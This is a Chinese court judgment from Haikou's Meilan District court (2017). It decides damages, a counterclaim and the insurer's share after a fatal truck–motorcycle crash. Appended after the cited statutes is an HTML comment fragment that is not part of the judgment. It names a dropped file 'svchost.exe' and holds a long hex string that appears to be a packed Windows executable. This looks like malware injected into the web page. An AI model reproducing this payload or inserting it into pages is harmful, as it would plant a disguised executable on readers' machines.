海南省海口市美兰区人民法院
p t ; ” > 民 事 判 决 书
(2017)琼0108民初964号
原告（反诉被告）：张当当，男，彝族，1971年5月27日出生，住址贵州省盘县。系受害人张学伟的父亲。
原告（反诉被告）：毛世敏，女，彝族，1974年1月26日出生，住址贵州省盘县。系受害人张学伟的母亲。
原告（反诉被告）：张某，男，彝族，2016年12月22日出生，住址贵州省盘县。系受害人张学伟的儿子。
法定代理人：王某，女，彝族，1992年3月9日出生，住址贵州省盘县。
上述原告的共同委托代理人：陈超玺、王华起，海南信达律师事务所律师。
被告（反诉原告）：游昌石，男，1979年8月14日出生，住址海口市。
被告（反诉原告）：游昌礼，男，1983年6月6日出生，住址海口市。
被告：中国太平洋财产保险股份有限公司海南分公司，住所海南省海口市大同路36号华能大厦。
负责人：何飙，该公司总经理。
委托代理人：曾祥钦，男，1991年5月19日出生，汉族，系该公司职员。
原告张当当（反诉被告）、毛世敏（反诉被告）、张某（反诉被告）与被告游昌石（反诉原告）、游昌礼（反诉原告）、被告中国太平洋财产保险股份有限公司海南分公司（以下简称太保财险公司）机动车道路交通事故责任纠纷一案，本院受理后，依法组成合议庭，公开开庭进行了审理。原告张当当及原告的委托代理人陈超玺、王华起，被告游昌石、游昌礼及太保财险公司的委托代理人曾祥钦到庭参加诉讼。本案现已审理终结。
原告张当当、毛世敏、张某诉称，2016年11月4日晚上，被告游昌石驾驶车身反光标识装置不合格的×××号重型自卸车载碎石（超载100%以上），沿美演路由美兰往演丰方向行驶，19时57分许行至该路大成搅拌站丁字路口，实施左转弯行驶入大成搅拌站过程中，适遇被害人张学伟醉酒后、未取得机动车驾驶证驾驶无号牌二轮摩托车载王某某对向直行至此，导致两车发生相撞，造成张学伟死亡、王某某受伤、两车损坏的道路交通事故。海口市公安局交通警察支队作出的《道路交通事故认定书》，认定被告游昌石和当事人张学伟均承担事故的同等责任。×××号重型自卸车的所有人为被告游昌礼，该车在被告太保财险公司处投保交强险和50万元商业三者险。原告因此次交通事故造成的损失有：1、丧葬费。丧葬费为58406元/年÷2=29203元。2、死亡赔偿金。受害人张学伟死亡时仅19周岁，其死亡赔偿金应按照二十年计算为28453元/年×20年＝569060元，受害人的儿子张某的被扶养人生活费按照十八年计算为19015元/年×18年÷2人＝171135元，原告主张的死亡赔偿金合计为569060+171135=740195元。3、近亲属办理丧葬事宜交通费、住宿费、误工费。原告从贵州赶赴海口办理丧葬事宜实际支出了交通费用和住宿费用，但因没有留存票据，原告仅主张交通费6000元和住宿费4000元。原告已经有多名亲属参与办理丧葬事宜，原告参照国家机关工作人7天的丧葬假期主张其中5人的误工费为50589元/年÷365×5人×7天＝4851元。上述三项费用合计14851元。4、精神损害抚慰金100000元，并请求被告三在交强险的赔偿限额内优先赔付。5、保全费1020元和保险费1000元。上述4项费用合计886269元，依法应由各被告按照法律规定承担赔偿责任。被告太保财险公司应首先在交强险承担赔偿责任。被告游昌石承担事故的同等责任，交强险赔偿不足部分，应由被告游昌石承担60%的赔偿责任，被告太保财险公司在商业三者险范围内承担被告游昌石的赔偿责任。仍有不足的，由被告游昌石和被告游昌礼承担连带赔偿责任。本案各被告应承担的赔偿数额计算为（886269－110000）×60%＋110000＝575761.4元，减去被告垫付的85000元，各被告还应赔偿490761.4元。原告为维护合法权益，特根据法律规定提起诉讼，请求判令：一、被告游昌石、游昌礼连带赔偿丧葬费，死亡赔偿金(含被扶养人生活费)，近亲属办理丧葬事宜的交通费、住宿费、误工费，保险费，精神损害抚慰金490761.4元；二、被告太保财险公司在机动车交通事故责任强制保险及商业三者险范围内承担保险赔偿责任；三、本案的诉讼费由三被告承担。
被告游昌石、游昌礼答辩，原告要求赔偿的标准和数额不合理，其中诉请的张学伟的死亡赔偿金和张某的被抚养人生活费应以我省农村居民家庭人均纯收入标准计算；诉请的交通费、住宿费应以实际支出的票据为准，诉请的误工费没有事实根据和法律依据；诉请的精神抚慰金明显过高。按照事故责任认定，被告游昌石只应承担50%的事故赔偿责任，具体由法院依法判决。
被告太保财险公司辩称，一、我司不是本案的侵权人，对事故的发生及原告的人身损害没有过错。我司与游昌礼签订了保险合同，双方权利义务应受相关法律及保险合同的保护和约束。二、本案应当适用最高院《关于审理人身损害赔偿案件适用法律若干问题的解释》及海南省公安厅交警总队颁布的《2015-2016年度海南省道路交通事故人身损害赔偿项目和计算标准》，计算原告的各项人伤损失。三、原告未提供受害者张学伟的销户登记证明或者法医学死亡证明，受害人张学伟因本次交通事故导致死亡的事实尚需上述材料作证，否则答辩人不予认可。四、基于交警出具的事故认定书客观真实的前提下，针对原告的各项诉讼请求，具体答辩：1、原告主张的丧葬费属合理诉求；2、原告主张的死亡赔偿金不合理。首先，受害者生前户籍性质为农业户籍，且受害者在公安机关户籍登记的住址为农村；其次，原告未有社保缴纳凭证及工资单等更具有证明力的证据，仅有一份证人证言，答辩人认为原告提供的证据不足以证明受害者生前在城镇居住并有固定收入满一年以上。根据《解释》第二十九条及《最高人民法院民一庭关于经常居住地在城镇的农村居民因交通事故伤亡如何计算赔偿费用的复函》（[2005]民他字第25号）之规定，受害者的死亡赔偿金应按受诉法院所在地上一年度农村居民人均纯收入标准计算，即10858元/年×20年=217160元；3、原告主张的交通费、住宿费、误工费不合理。根据《解释》第二十二条的规定”交通费根据受害人及其必要的陪护人员因就医或者转院治疗实际发生的费用计算，交通费应当以正式票据为凭，有关凭据应当与就医地点、时间、人数、次数相符合。”原告主张的上述费用未提供任何票据证明，依法应予驳回；4、原告主张的精神损害抚慰金不合理。根据《最高人民法院关于确定民事侵权精神损害赔偿责任若干问题的解释》（法释〔2001〕7号）第11条”受害人对损害事实和损害后果的发生有过错的，可以根据其过错程度减轻或者免除侵权人的精神损害赔偿责任”之规定，综合本案为意外交通事故，且受害人张学伟在未取得机动车驾驶证的情况下醉酒后驾驶无号牌机动车，违反两项法律强制性规定，对社会危害性极大，对事故发生负有重要过错责任。请法院综合考虑上述因素，对该项酌情判定；5、诉讼费、鉴定费，不属于保险责任赔偿范围。根据《保险法》第六十六条的规定，及《机动车交通事故责任强制保险条款》第十条第（四）项的合同约定，我司不承担因交通事故产生的诉讼费、鉴定费。五、对原告新增加的保全费和保险费均不属于保险责任范围。六、答辩人承保了保险车辆×××号车的强制三者险及50万保额的商业三者险，我司将按照保险合同约定，优先在交强险的医疗费用赔偿限额10000元、死亡伤残赔偿限额110000元及财产损失赔偿限额2000元的承保限额内分项赔付，超出的部分在商业三者险内按同责50%比例计算赔付保险金。因保险车辆×××号车经交警认定，存在违反规定超载（100%）的行为，依据《机动车第三者责任保险》第二十七条第（二）项的合同约定，商业三者险的保险赔款实行10%的绝对免赔率，即商业三者险赔款应在按责50%计算后再按90%赔付，该免赔部分由被保险人自行承担。重点申明，我司已先行向张当当赔付死亡赔偿金55000元（在交强险死亡伤残赔偿限额项下赔付）及向本案交通事故伤者王江文赔付医疗费30000元（其中包含交强险的医疗费用赔偿限额10000元），请法院判决时合理分配剩余保险限额。综上所述，答辩人认为原告部分诉求缺乏事实和法律依据，请求法院依法判决，驳回原告不合理的诉求，维护答辩人的合法权益。
被告游昌石、游昌礼反诉称：2016年11月4日19时57分，反诉人游昌石驾驶×××号重型自卸车沿海口市美演路由美兰往演丰方向行驶至大成搅拌站路段时，与当事人张学伟醉酒且无机动车驾驶证驾驶的无号牌二轮摩托车发生交通事故，造成张学伟当场死亡、王某某受伤和两车损坏。后被反诉人于2016年12月21日向人民法院申请了诉前财产保全，致使反诉人游昌礼的×××号车辆被法院查封、扣押，车辆自然耗损严重。经海口市公安局交通警察支队作出的《道路交通事故认定书》，反诉人游昌石与当事人张学伟在本起事故中承担同等责任。事发前，二反诉人均依靠驾驶×××号重型自卸车为生。因被反诉人保全反诉人游昌礼的车辆，直至2017年3月31日，保管天数为101日，给二反诉人造成了车辆保管费、车辆养路费、误工费等经济损失如下：1、车辆保管费5050元。反诉人游昌礼的×××号重型自卸车因被保全，反诉人游昌礼支出了相应的车辆保管费为5050元（50元／日×101日），应由被反诉人承担；2、车辆养路费11514元。反诉人游昌礼的×××号重型自卸车因被保全，反诉人游昌礼支出了相应的车辆养路费为11514元（3421元／月÷30日×101日），应由被反诉人承担；3、误工费21189元。（1）反诉人游昌石误工费21189元[63568元／年（2016年度海南省交通运输业平均工资）÷12个月×4个月=21189元），应由三被反诉人承担10594.5元；（2）反诉人游昌礼的误工费21189元[63568元／年（2016年度海南省交通运输业平均工资）÷12个月×4个月=21189元），应由被反诉人承担10594.5元。4、医疗费等费用33873元。在事故发生后，二反诉人向伤者王某某支付了120抢救费600元、急诊费2580.3元和医疗费64565.97元，合计67746.27元，应由被反诉人承担33873元；5、丧葬费30000元。二反诉人在事故发生后向当事人张学伟支付了丧葬费30000元的，应由被反诉人承担15000元。反诉人的各项经济损失包括事发后支付的相关费用应与被反诉人的诉请赔偿数额相抵。综上，反诉人为维护自己的合法权益，特提出反诉，请求判令：1、被反诉人赔偿反诉人的车辆事故损害维修费2000元、车辆保管费6000元（暂计算自2016年12月21日至2017年3月31日）、养路费11514元；2、被反诉人赔偿反诉人误工费21189元；3、被反诉人返还反诉人垫付的医疗费等费用33873元；4、被反诉人返还反诉人垫付丧葬费15000元；5、本案诉讼费用由被反诉人承担。
反诉被告张当当、毛世敏、张某辩称，答辩人不属于交通事故当事人，诉请答辩人承担侵权责任没有依据，交通事故中的死亡赔偿金不是遗产，其理由如下：一、《中华人民共和国继承法》第三条规定，遗产是公民死亡时遗留的个人合法财产，也就是说遗产是公民生前或死亡时存在的个人合法财产。死亡赔偿金是在受害人死后才产生的，在公民死亡时并不现实存在，故不符合遗产的法律特征。因此，将死亡赔偿金作为遗产处理，在我国有关法律和司法解释中找不到依据。二、《中华人民共和国继承法》规定，公民的遗产包括：（一）公民的合法收入；（二）公民的房屋、储蓄和生活用品；（三）公民的林木、牲畜和家禽；（四）公民的文物、图书资料；（五）法律允许公民所有的生产资料；（六）公民的著作权、专利权中的财产权利；（七）公民的其他合法财产。最高人民法院关于贯彻执行《中华人民共和国继承法》若干问题的意见中对公民可以继承的其他合法财产是这样解释的：公民可继承的其他合法财产主要包括有价证卷和履行标的为财物的债权以及承包人死亡时尚未取得的收益。从《中华人民共和国继承法》及最高人民法院关于贯彻执行继承法的若干问题解释的规定可以看出，公民的遗产并不包含公民在交通事故中死亡时事故责任者支付的”死亡赔偿金”。三、死亡赔偿金是一种特殊的财产，填补的是受害人近亲属因受害人死亡导致的生活资源的减少丧失，是对受害人家庭损失的弥补，对死者家庭利益的赔偿，不应属于死者的遗产范围。死亡赔偿金的受益人只能是死者的近亲属。四、从死亡赔偿金产生的法理分析，受害人如没有死亡，便没有死亡赔偿金的发生；受害人一旦死亡，则其民事主体资格消亡。在受害人死亡这一法律事实出现时，便在加害人与受害人亲属之间形成民事法律关系。既然死者不再是权利主体就无需进行救济，近亲属依其与受害人之间的亲属关系，直接享有相关损害赔偿请求权。受害人已经死亡，如果将死亡赔偿金作为遗产，就可能认为死者本人还取得了财产。向不存在的民事主体赔偿，既不符合逻辑，在法学理论上也存在障碍。五、2005年3月22日，最高人民法院就广东省高级人民法院《关于死亡赔偿金能否作为遗产处理的请示》作出了（2004）民一他字第26号《关于死亡赔偿金能否作为遗产处理的复函》，内容为：”空难死亡赔偿金是基于死者死亡对死者近亲属所支付的赔偿。获得空难死亡赔偿金的权利人是死者近亲属，而非死者。故空难死亡赔偿金不宜认定为遗产。”从该规定可以看出，死亡赔偿金是专属于死者近亲属的财产。该复函虽系个案答复，但也充分体现出死亡赔偿金不宜认定为遗产的价值所向，对审判实践具有重要的参考价值。六、将交通事故死亡赔偿金作为专属于死者近亲属的财产进行赔偿，可以充分体现出对死者近亲属生存权的关注，与我国《宪法》规定的精神相一致，同时也可以更好的体现”以人为本”的现代司法理念。《中华人民共和国继承法》第三十三条规定：”继承遗产应当清偿被继承人依法应当缴纳的税款和债务，缴纳税款和清偿债务以他的遗产实际价值为限。超过遗产实际价值部分，继承人自愿偿还的不在此限。继承人放弃继承的，对被继承人依法应当缴纳的税款和债务可以不负偿还责任。”答辩人的近亲属张学伟年仅19岁就身故，其刚刚成年，身后未能留下任何遗产给答辩人。即使张学伟有遗产，答辩人也愿意放弃继承。综上，被答辩人诉请答辩人承担本案交通事故赔偿责任没有依据。
被告太保财险公司陈述：我司不是反诉被告，没有具体意见。
经审理查明，2016年11月4日晚上，被告游昌石驾驶车身反光标识装置不合格的×××号重型自卸车载碎石（超载100%以上），沿海口市美演路由美兰往演丰方向行驶，19时57分许行至该路大成搅拌站丁字路口，实施左转弯行驶入大成搅拌站过程中，适遇被害人张学伟醉酒后（酒精浓度167mg/100ml）、未取得机动车驾驶证驾驶无号牌二轮摩托车载王某某对向直行至此，导致两车发生相撞，造成被害人张学伟死亡、王某某受伤、两车损坏的道路交通事故。2016年12月27日，海口市公安局交通警察支队事故处理大队作出海公交认字[2016]第00213号《道路交通事故认定书》（以下简称《事故认定书》），认定被告游昌石驾驶车身反光标识装置不合格的×××号重型自卸货车（超载100%以上）实施左转弯过程中未让直行车辆优先通行，死者张学伟醉酒后，未取得机动车驾驶证驾驶制动系统不合格的无号牌二轮摩托车都是导致事故发生的原因，故死者张学伟、被告游昌石负本次事故的同等责任，王某某无责任。后原告张当当不服上述《事故认定书》，向海南省公安厅交通警察总队提出复核申请，2017年1月24日，海南省公安厅交通警察总队作出琼公交复字[2017]第43号《道路交通事故认定复核结论》，决定维持上述《事故认定书》。
经查明，事故发生时，×××号重型自卸货车驾驶员是被告游昌石，车辆登记所有人是被告游昌礼，该车向被告太保财险公司投保了交强险及商业第三者责任险（限额50万），事故发生在保险期间。庭审中，被告游昌石、游昌礼陈述家庭购买×××号重型自卸货车用于营运。事故发生后，被告游昌石已垫付给原告30000元，被告太保财险公司赔付原告55000元，共计85000元。原告张当当、毛世敏系死者张学伟的父、母亲，原告张某系王某和死者张学伟的儿子。死者张学伟原籍贵州省××县，生前在贵州省普安县某某厂工作，事发时前来海南看望在海口工作的妻子王某。事故发生后，原告张当当向本院申请诉前保全，查封了被告游昌礼名下的×××号重型自卸货车，并自付保全费1020元及保全担保保险费1000元。
本案在审理过程，本次事故的另一名受害人王某某已向本院提起诉讼，本院受理案号为(2017)琼0108民初1832号。
以上事实有《事故认定书》、《道路交通事故认定复核结论》、王某撤诉申请书、普安县免烧砖厂员工劳动合同、证明、营业执照、组织机构代码证、原告身份证明、常驻人口登记卡、出生医学证明、亲属证明、机动车行驶证、驾驶人查询信息、太保财险公司机动车交通事故责任强制保险损失计算书以及当事人的陈述及庭审笔录在卷佐证，足以证实。
本院认为，行为人因过错侵害他人民事权益，应当承担侵权责任。关于民事赔偿责任的划分，本次事故中，海口市公安局交通警察支队出具的《道路交通事故认定书》，认定被告游昌石、死者张学伟承担本次事故的同等责任，王某某无事故责任。该认定书对本次交通事故的事实认定清楚，责任认定准确，应予采信。对于本次事故造成的损失，由死者张学伟自行承担50%的责任，因被告游昌石、游昌礼共同将肇事车辆×××号重型自卸货车用于家庭运输进行营利活动，被告游昌石、游昌礼承担50%的民事责任。
关于民事赔偿适用的标准，关于原告主张赔偿项目的认定，最高人民法院民一庭关于《经常居住地在城镇的农村居民因交通事故伤亡如何计算赔偿费用的复函》[（2005）民他字第25号]的意见：”受害人虽然系农村户口，但在城市工作、居住，其经常居住地和主要收入来源地均为城市，有关损害赔偿费用应当根据当地城镇居民的相关标准计算。”参照上述意见，死者张学伟原籍虽在农村，属于农业户口，但其提供了贵州省普安县某某砖厂的员工劳动合同及居住证明，可以认定其居住地及收入来源均来源于城镇，因此，本次事故的死亡赔偿金适用城镇居民的标准。
根据《事故认定书》的认定，被告游昌石驾驶的×××号重型自卸车事故发生时载物超过核定载物质量，符合商业第三者责任保险合同第二十条”发生保险事故时，保险机动车违反《中国人民共和国道路交通安全法》及其他法律法规中有关于机动车装载的规定，增加10%的决定免赔率”的约定，被告太保财险主张依据该条款，被保险人应在商业第三者责任保险应承担50%的责任内加扣10%的免赔金额，本院予以支持。
关于诉讼财产保全责任保险费，《中华人民共和国民事诉讼法》第一百条第一、二款”人民法院对于可能因当事人一方的行为或者其他原因，使判决难以执行或者造成当事人其他损害的案件，根据对方当事人的申请，可以裁定对其财产进行保全、责令其作出一定行为或者禁止其作出一定行为；当事人没有提出申请的，人民法院在必要时也可以裁定采取保全措施。人民法院采取保全措施，可以责令申请人提供担保，申请人不提供担保的，裁定驳回申请。”原告申请财产保全申请既可以用自己所有的财产作担保，也可以经他人同意用他人的财产作担保，也可以向保险公司投保诉讼财产保全责任保险，无论采取何种方式为诉讼保全申请提供担保都是为了维护其自身合法权益所为，由此产生的费用依法依理应由其本人负担，因此，原告主张诉讼财产保全责任保险费1000元，本院不予支持。
关于反诉原告游昌石、游昌礼的反诉诉请是否有依据的问题。反诉原告诉请反诉被告：1、赔偿车辆事故损害维修费2000元、车辆保管费6000元、养路费11514元、误工费21189元，共计40703元；2、返还垫付的医疗费等费用33873元、丧葬费15000元，共48830元；3、本案诉讼费用由被反诉人承担。1、关于车辆事故损害维修费、车辆保管费、养路费、误工费等共计40703元，依据《中华人民共和国民事诉讼法》第六十四条第一款的规定，反诉原告并没有提交证据证明其存在上述损失，应承担举证不利的后果，本院对本项诉讼请求不予支持。2、关于垫付的医疗费用以及丧葬费，本项费用是反诉原告基于自愿垫付的费用，不足以赔偿受害人的损失，要求反诉被告返还两项费用没有法律依据，本院不予支持。3、反诉费用由反诉原告自行承担。
《人身损害赔偿案件的解释》第十七条第一款规定：”受害人遭受人身损害，因就医治疗支出的各项费用以及因误工减少的收入，包括医疗费、误工费、护理费、交通费、住宿费、住院伙食补助费、必要的营养费，赔偿义务人应当予以赔偿。”本案的一审法庭辩论终结时的时间是2017年5月3日，本案适用”2016-2017年度海南省道路交通事故人身损害赔偿的标准”计算原告的人身损害赔偿数额，符合《人身损害赔偿案件的解释》第三十五条的规定。本案的赔偿项目及数额经审核，认定如下：
1、丧葬费29203元。丧葬费按照受诉法院所在地上一年度职工月平均工资标准，以六个月总额计算。本省上一年度职工年平均工资为58406元，因此，丧葬费为58406元÷2=29203元，原告主张丧葬费29203元，本院予以支持。
2、死亡赔偿金740195元。1）死亡赔偿金527120元。死者张学伟死亡时候未满60周岁，并适用城镇居民标准计算，我省城镇居民人均可支配收入为28453元，因此，死亡赔偿金为28453元×20年=569060元；2）被扶养人生活费元，被害人张学伟生有一被扶养人即原告张某，2016年12月11日出生，未满18周岁，我省上一年度城镇居民家庭人均可支配收入为19015元/年，抚养义务人为2人。因此，被扶养人生活费为19015元/年×18年÷2人=171135元。被抚养人生活费计入死亡赔偿金后，死亡赔偿金总计为569060元+171135元=740195元。原告主张死亡赔偿金740195元，未超出规定，本院予以照准。
3、受害人亲属办理丧葬事宜支出的交通费、住宿费和误工损失等其他合理费用4657.62元。其中（1）误工费1657.62元，国家法定丧假为7天，故本院认定误工时间共计7天；误工费标准：原告均属于农业户口，按照海南省农、林、牧、渔业上一年度在岗职工的平均工资28811元的标准计算，误工损失应为28811元/年÷365天×7天×3人＝1657.62元。原告主张亲属办理丧葬事宜误工费4851元，超出部分，本院不予以支持。（2）交通费2000元，原告父、母亲均居住在外省，但没有提交交通票据，本院酌定交通费2000元，原告主张交通费6000元，超出部分本院不予支持。（3）住宿费1000元，原告主张住宿费4000元，但没有提交住宿票据，本院酌定支持1000元，超出部分，本院不予支持。
4、精神损害抚慰金50000元。精神损害抚慰金是指受害人遭受严重的人身伤害深受残疾或者死亡的情形下，受害人及其近亲属在精神上遭受巨大创伤，基于此要求赔偿义务人给予受害人及其近亲属一定数额的赔偿。依据《中华人民共和国侵权责任法》第二十二条的规定：”侵害他人人身权益，造成他人严重精神损害的，被侵权人可以请求精神损害赔偿”，受害人张学伟因本次事故死亡，原告精神上受到损害，但原告主张精神损害抚慰金100000元过高，本院酌定精神损害抚慰金50000元。
以上1-4项共计损失824055.62元，属于交强险死亡伤残费110000元限额内的赔偿项目。
依据《最高人民法院关于审理道路交通事故损害赔偿案件适用法律若干问题的解释》第二十二条”同一交通事故的多个被侵权人同时起诉的，人民法院应当按照各被侵权人的损失比例确定交强险的赔偿数额”的规定，本次事故另一名伤者王江文起诉（2017）琼0108民初1832号案中，其交强险医疗费10000元限额赔偿项目共计92546.27元，交强险死亡伤残费110000元限额赔偿项目共计39895元。本案原告不存在交强险医疗费赔偿项目的损失，因此，×××号重型自卸货车交强险医疗费10000元限额赔付给原告王江文；关于死亡伤残费110000元限额的赔付，本案原告交强险死亡伤残费赔偿项目共计824055.62元，原告王江文39895元，因此，原告可获得赔付比例95%=[824055.62元÷（824055.62元+39895元）]，即为110000元×95%=104500元；原告王江文可获赔付比例5%=[39895元÷（824055.62元+39895元）],即110000元×5%=5500元。《最高人民法院关于审理道路交通事故损害赔偿案件适用法律若干问题的解释》第十六条规定”同时投保机动车第三者责任强制保险（以下简称交强险）和第三者责任商业保险（以下简称商业三者险）的机动车发生交通事故造成损害，当事人同时起诉侵权人和保险公司的，人民法院应当按照下列规则确定赔偿责任：（一）先由承保交强险的保险公司在责任限额范围内予以赔偿；（二）不足部分，由承保商业三者险的保险公司根据保险合同予以赔偿；（三）仍有不足的，依照道路交通安全法和侵权责任法的相关规定由侵权人予以赔偿。”×××号重型自卸货车在被告太保财险公司处投保了交强险和商业第三者责任险（限额50万,含不计免赔），应先由太保财险公司在交强险范围内赔付原告104500元。因被告游昌石、游昌礼承担50%的民事赔偿责任,超出交强险的部分（824055.62元-104500元）×50%=359778元,其中10%的免赔即35977.8元由×××号重型自卸车车主负担，被告太保财险在商业第三者责任保险50万元限额内负担359778元-35977.8元=323800.2元。被告游昌石、游昌礼已垫付的30000元，在抵扣其应承担的10%免赔部分即35977.8元后,尚应向原告赔偿5977.8元。被告太保财险公司垫付的55000元,应在赔偿款中予以扣减。因此，被告太保财险应在交强险及商业第三者责任保险限额内赔付原告104500元+（323800.2元-55000元）=373300.2元。
综上所述，依照《中华人民共和国侵权责任法》第六条第一款、第二十二条、第四十九条，《中华人民共和国道路交通安全法》第七十六条第一款第（一）项，《最高人民法院关于审理道路交通事故损害赔偿案件适用法律若干问题的解释》第二十二条、《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》第十七条及《中华人民共和国民事诉讼法》第六十四条第一款之规定，判决如下：
一、限被告中国太平洋财产保险股份有限公司海南分公司于本判决生效之日起十日内在机动车交通事故责任强制保险限额和机动车第三者责任保险限额内赔付原告张当当、毛世敏、张俊俊人民币373300.2元；
二、限被告游昌石、游昌礼于本判决生效之日起十日内赔付原告张当当、毛世敏、张某人民币5977.8元；
三、驳回原告张当当、毛世敏、张某其他诉讼请求；
四、驳回反诉原告游昌石、游昌礼的全部反诉请求。
如果未按本判决指定的期间履行给付金钱义务，应当依照《中华人民共和国民事诉讼法》第二百五十三条之规定，加倍支付迟延履行期间的债务利息。
本诉案件受理费人民币2954元（原告已预付），由原告张当当、毛世敏、张某负担748元，由被告中国太平洋财产保险股份有限公司海南分公司负担2156元，被告游昌石、游昌礼负担50元；反诉案件受理费448元由游昌石、游昌礼负担；诉前保全费1020元（原告已预付），由原告张当当、毛世敏、张某负担300元，由被告中国太平洋财产保险股份有限公司海南分公司负担700元，被告游昌石、游昌礼负担20元。
如不服本判决，可在判决书送达之日起十五日内，向本院递交上诉状，并按对方当事人的人数或者代表人的人数提出副本，上诉于海南省海口市中级人民法院。
（此页无正文）
审判长蔡汝军
人民陪审员李南
人民陪审员伍仁壮
二〇一七年七月二十五日
法官助理林锋
书记员周新梅
速录员何克景
附：相关法律条文
《中华人民共和国侵权责任法》
第六条行为人因过错侵害他人民事权益，应当承担侵权责任。
......。
第二十二条侵害他人人身权益，造成他人严重精神损害的，被侵权人可以请求精神损害赔偿。
第四十九条因租赁、借用等情形机动车所有人与使用人不是同一人时，发生交通事故后属于该机动车一方责任的，由保险公司在机动车强制保险责任限额范围内予以赔偿。不足部分，由机动车使用人承担赔偿责任；机动车所有人对损害的发生有过错的，承担相应的赔偿责任。
《中华人民共和国道路交通安全法》
第七十六条机动车发生交通事故造成人身伤亡、财产损失的，由保险公司在机动车第三者责任强制保险责任限额范围内予以赔偿；不足的部分，按照下列规定承担赔偿责任：
(一)机动车之间发生交通事故的，由有过错的一方承担赔偿责任；双方都有过错的，按照各自过错的比例分担责任。
......。
《最高人民法院关于审理道路交通事故损害赔偿案件适用法律若干问题的解释》
第二十二条同一交通事故的多个被侵权人同时起诉的，人民法院应当按照各被侵权人的损失比例确定交强险的赔偿数额。
《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》
第十七条受害人遭受人身损害，因就医治疗支出的各项费用以及因误工减少的收入，包括医疗费、误工费、护理费、交通费、住宿费、住院伙食补助费、必要的营养费，赔偿义务人应当予以赔偿。
受害人因伤致残的，其因增加生活上需要所支出的必要费用以及因丧失劳动能力导致的收入损失，包括残疾赔偿金、残疾辅助器具费、被扶养人生活费，以及因康复护理、继续治疗实际发生的必要的康复费、护理费、后续治疗费，赔偿义务人也应当予以赔偿。
受害人死亡的，赔偿义务人除应当根据抢救治疗情况赔偿本条第一款规定的相关费用外，还应当赔偿丧葬费、被扶养人生活费、死亡补偿费以及受害人亲属办理丧葬事宜支出的交通费、住宿费和误工损失等其他合理费用。
《中华人民共和国民事诉讼法》
第六十四条当事人对自己提出的主张，有责任提供证据。
......。
第二百五十三条被执行人未按判决、裁定和其他法律文书指定的期间履行给付金钱义务的，应当加倍支付迟延履行期间的债务利息。被执行人未按判决、裁定和其他法律文书指定的期间履行其他义务的，应当支付迟延履行金。
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829